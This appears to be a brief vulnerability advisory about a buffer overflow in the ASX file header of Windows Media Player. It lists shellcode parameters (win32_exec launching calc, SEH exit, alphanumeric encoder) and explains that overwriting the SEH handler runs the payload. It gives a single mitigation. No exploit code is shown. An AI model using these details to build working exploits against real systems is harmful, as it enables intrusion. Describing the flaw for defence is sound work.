Win32_exec – EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum

This exploit is a buffer overflow vulnerability in the ASX file header. It is triggered when a maliciously crafted ASX file is opened in Windows Media Player. The exploit overwrites the SEH handler and executes the shellcode, which in this case is a calculator.
Mitigation:

The user should avoid opening untrusted ASX files.
